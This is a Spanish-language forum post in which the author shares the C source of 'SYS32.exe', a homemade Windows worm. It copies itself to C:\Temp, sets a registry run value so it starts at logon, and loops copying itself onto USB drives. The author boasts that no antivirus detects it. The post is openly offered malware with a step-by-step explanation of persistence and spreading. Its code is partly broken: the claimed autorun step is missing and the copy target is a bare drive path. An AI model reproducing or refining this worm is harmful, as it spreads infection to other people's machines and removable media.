luego me encerre a jugar al Counter un tiempo... un dia le eche un vistazo al escritorio y vi a mi bonito Dev-Cpp sucio y desgastado... empeze a programar!!!
despues de 2 bonitas horas de prácticas, nacio SYS32.exe!!!!
os pongo el codigo para k le echeis un vistazo. es muy sencillo, no se como no lo hice antes....
Código
#include <windows.h> #include <stdio.h> int a; FILE *fp; char nowdir [50]; char usb [12][5]={"D:\\", "E:\\", "F:\\", "G:\\", "H:\\"}; char usb2 [12][5]={"D:\\", "E:\\", "F:\\", "G:\\", "H:\\"}; int main () { GetModuleFileName (NULL, nowdir, 256); CopyFile (nowdir, "C:\\Temp\\sys32.exe", 0); registro (); while (1) { pendrive (); sleep (5); } } int registro () { HKEY hkey; RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, KEY_SET_VALUE, &hkey); RegSetValueEx(hkey,"run",0,REG_SZ,"C:\\Temp\\sys32.exe",50); RegCloseKey(hkey); } int pendrive () { for (a=0; a<=5; a++) { if (GetDriveType (usb [a])==2) { CopyFile (nowdir, usb [a], 0); } } }
funciona asi:
1. Se copia a "C:\Temp".
2. Se añade al registro, en una llave en la que todos tienen permisos, pero en la que puedes hacer que se abra al inicio de sesión. La única pega es que solo se abre en la sesion en la que se abre.
3. Hace un bucle infinito comprobando si se enchufan pendrives. Si se enchufan, se copia a este sitio, y crea un autorun. Lo cierra para guardar cambios y lo abre para k no lo borres.
Lo mejor es que no lo detecta ningun antivirus (por ahora, pork sin querer lo mande a analizar a ESET. a ver cuanto dura).+
Importante: El code es mio, y sus ideas, pero he de recordar que "http://usuarios.multimania.es/inyx/Gusano%20basico.pdf" me enseño a copiarme al registro. Como veis, es completamente diferente.